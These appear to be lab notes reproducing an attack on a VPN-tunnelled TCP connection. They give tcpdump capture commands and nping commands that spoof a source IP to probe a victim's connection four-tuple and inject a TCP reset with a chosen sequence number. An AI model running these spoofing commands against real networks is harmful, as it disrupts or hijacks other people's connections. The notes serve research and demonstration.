Nping pcap commands during each phase:

On attacker machine: `sudo tcpdump -i wlp1s0 -nnvvS not src port 22 and not dst port 22 -w wash_attacker.pcap`

On victim macine: `sudo tcpdump -i any -nnvvS not src port 22 and not dst port 22 -w vic_any_capture_wash.pcap`



Attacker commands

Phase 2: `sudo nping -e wlp1s0 --dest-mac 08:00:27:1a:08:ba --dest-ip 10.7.7.8 --source-ip 172.217.12.14 -g 80 --tcp --flags SA -p 40402`

Phase 3: `sudo nping -e wlp1s0 --dest-mac 08:00:27:1a:08:ba --dest-ip 10.7.7.8 --source-ip 172.217.12.14 -g 80 --tcp --flags R -p 40404 --seq 4253820601`



Addresses in netcat example: 


Phase 2 pcap: -->  (netcat 172.217.12.14 80 -p 40402)

Remote web address (google.com) -- 172.217.12.14:80
Victim VPN address -- 10.7.7.8:40402
Victim public address -- 192.168.12.137
VPN server address -- 153.92.40.5:443

In the example, the attacker sends 5 npings with to the correct four-tuple, then sends 5 to the wrong four-tuple (port 40403). Then sends 5 more to the correct port to show differences in response.